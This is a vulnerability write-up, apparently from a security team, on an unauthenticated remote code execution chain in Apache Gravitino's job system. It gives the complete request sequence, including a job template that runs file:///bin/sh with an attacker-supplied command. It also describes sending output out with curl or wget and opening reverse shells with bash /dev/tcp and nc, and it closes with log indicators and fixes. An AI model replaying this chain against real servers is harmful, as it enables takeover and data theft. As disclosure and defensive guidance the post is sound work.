Gravity Well: Unauthenticated RCE in Apache Gravitino
Apache Gravitino is a metadata lake. If your data is the party, Gravitino is the friend who knows where everyone parked: it tracks which catalogs, warehouses and file systems hold your tables, so your engines only have to ask one place. It's a useful piece of software.
It is also, in its default configuration, a shell. Not "a shell" in the poetic sense. We are talking about /bin/sh, on the server, reachable over plain unauthenticated HTTP.
No credentials, five API calls, one job template pointing at file:///bin/sh. That's the whole trick. This is the story of how it works, why the defaults let it happen, and what you should do about it.
The default config has opinions
The first thing you notice when you poke a fresh Gravitino is that it doesn't ask who you are. Authorization is disabled by default, and the identity assigned to a request that doesn't bother to authenticate is anonymous. Gravitino then ships with anonymous configured as the service admin.
Anonymous is the admin. Imagine a hotel with an empty front desk, keys on the counter, and the best suite labeled "guest". That's the login screen of this product.
If an operator does enable authentication, they usually land on the shipped default authenticator, simple. "Simple" is a generous word for it: it parses the Basic auth header and trusts whatever username you claim. The password is not checked. You can walk in as root out of politeness, or as alice, or as definitely-not-a-hacker — the server files your claim without asking for ID.
So the pre-conditions for our whole chain are: run the Docker image, change nothing, and you are the service admin. That's the "unauthenticated" part. Everything after that is just the job feature doing what it says on the tin.
Jobs: the feature that runs things
Gravitino has a job system. You create a metalake (a logical namespace, like a workspace), register a job template in it, and submit runs of that template. It's designed so data teams can script ETL-ish work through the API.
A job template of type shell has two fields that matter:
executable— a URI pointing at what should be executedarguments— an argument list, where{{PLACEHOLDER}}values get filled in from thejobConfyou send when you submit a run
On submit, the server's JobManager.fetchFileFromUri() fetches whatever that URI points at, copies it into the job's staging directory, and hands it to the local job executor. In the versions we tested, this function does exactly zero scheme filtering: it will happily fetch a local file.
And file:///bin/sh is, technically, a local file.
So the template we register looks like this:
{
"jobTemplate": {
"name": "rce",
"jobType": "shell",
"executable": "file:///bin/sh",
"arguments": ["-c", "{{CMD}}"],
"environments": {},
"customFields": {}
}
}
Submit a run with {"jobConf": {"CMD": "id; hostname"}} and the server, entirely of its own free will, runs file:///bin/sh -c "id; hostname" on its own host. Which is just id; hostname. On the server.
Every version up to 1.2.1 ships without a URI scheme allowlist at all (that's CVE-2026-49876, officially billed as an "authenticated SSRF via unvalidated job template URIs"). "Authenticated" is doing a lot of work in that sentence, because as established: anonymous is the admin.
The chain, step by step
Here is the entire attack in the form of the requests we sent, in the order we sent them.
It opens with a metalake — the logical namespace everything else hangs off. The request is a bare POST with a name, a comment, and an empty properties map. The response includes an audit object. It says the creator is anonymous. We did not sign anything. That's fine, apparently.
POST /api/metalakes
Content-Type: application/json
{"name": "poc", "comment": "nothing to see here", "properties": {}}
With a metalake in hand, the job template goes in: a shell job whose executable is the file URI pointing at /bin/sh, and whose arguments render our placeholder into whatever we submit later.
POST /api/metalakes/poc/jobs/templates
{"jobTemplate": {
"name": "rce",
"jobType": "shell",
"executable": "file:///bin/sh",
"arguments": ["-c", "{{CMD}}"]
}}
Then a run, with the command dropped into jobConf where the placeholder expects it. The server executes file:///bin/sh -c "id; hostname; cat /etc/hostname" on its own host.
POST /api/metalakes/poc/jobs/runs
{"jobTemplateName": "rce", "jobConf": {"CMD": "id; hostname; cat /etc/hostname"}}
And finally the read-back — a plain GET with a query parameter that says "give me the output too."
GET /api/metalakes/poc/jobs/runs/{jobId}?includeOutput=true
That's it. That's the vulnerability. Everything below is just the plumbing required to make the last call not be miserable.
Getting the output back (the annoying 10%)
Running the command is easy. Reading the result is where the engineering went, because the answer depends on which version you're talking to and where it lives. Whichever route you pick, you have to pick it up front, because each command should run exactly once.
On 2.0.0-SNAPSHOT and newer, the retrieval is boring, clean, and official: the includeOutput=true query on the job run endpoint. If only every bug were this polite. For a local container you can reach, the staging directory is right there — docker exec a cat of the job's output.log, and the infrastructure reads its own mail. Remote targets that can't be docker exec'd are the interesting case: you re-run the command with its output piped into curl --data-binary @-, wget --post-file=/dev/stdin, or a five-line python3 -c one-liner, POSTed back to an HTTP listener you bind. The listener has to be reachable from the server, which on the internet means a VPS or a forwarded port. If the server can't reach you, you go to it; if it can, it comes to you. Either way somebody is driving.
There's also a reverse-shell variant, the same trick with a callback instead of a postcard: bash with a /dev/tcp redirect, then nc, ncat, and a pty-less python3 as fallbacks. The job runs under /bin/sh (dash on most images), so the payload is a small comedy routine of ||-chained fallbacks, each wrapped so dash can parse it.
The part that hurts
A few things make this chain worse than the average Java RCE. The first is that it's the default, not a misconfiguration: nobody had to check a "trust all file URIs" box — this is what you get for running the stock image. The second is that the advisory undersells it; "authenticated SSRF" is technically accurate and practically a bedtime story, because file:// plus a local executor plus admin-by-default is code execution, full stop. The third is that everything we used exists so real teams can run real jobs — we just pointed the feature at /bin/sh and filled in the blank. And the fourth is the product's own pitch: metalakes are meant to be shared, which is why port 8090 on the internet is not a hypothetical for us. We found reachable instances the way everyone finds reachable instances.
What it looks like in your logs
If you run Gravitino, an incident of this shape is visible in your own logs without much effort: POST /api/metalakes from an IP that isn't your team's, job templates whose executable is a file:// URI (your legit templates point at scripts or remote URIs, not /bin/sh), job runs whose audit trail says creator anonymous, and output.log files in the staging directory for jobs nobody scheduled. If you find a template literally named rce, that is not a false positive — that is the security equivalent of a burglar who signed the guestbook.
Fixing it
The fix list is short and familiar. Upgrade past 1.2.1: every version up to that point ships without a URI scheme allowlist (CVE-2026-49876), so assume every request above works against you until you do. Turn authorization on, and take anonymous out of the service admin list while you're in there. Replace the simple authenticator, because it's a placeholder, not a policy — use OAuth or Kerberos, something that actually verifies who you claim to be.
Keep 8090 off the internet, bound to localhost or behind a reverse proxy with real auth; a metadata lake is infrastructure and should be treated like one. And audit what's already there: list your metalakes and templates and make sure you recognize every entry. The ones we created during testing were gone before we left, but yours may have guests.
Signing off
There's a certain irony in a tool whose job is knowing where everything is, being unable to keep track of who's allowed to touch it. The job system is a genuinely useful feature, and the chain isn't a bug in one place so much as a stack of trustful defaults standing on each other's shoulders. The lesson is the usual one, which we keep re-learning and then forgetting: the default configuration is a promise the vendor makes on your behalf. Read it like you don't trust it, because in this case, it trusts everyone.
Patch, lock down, and maybe don't name your test template rce in production.
— Skuntir Team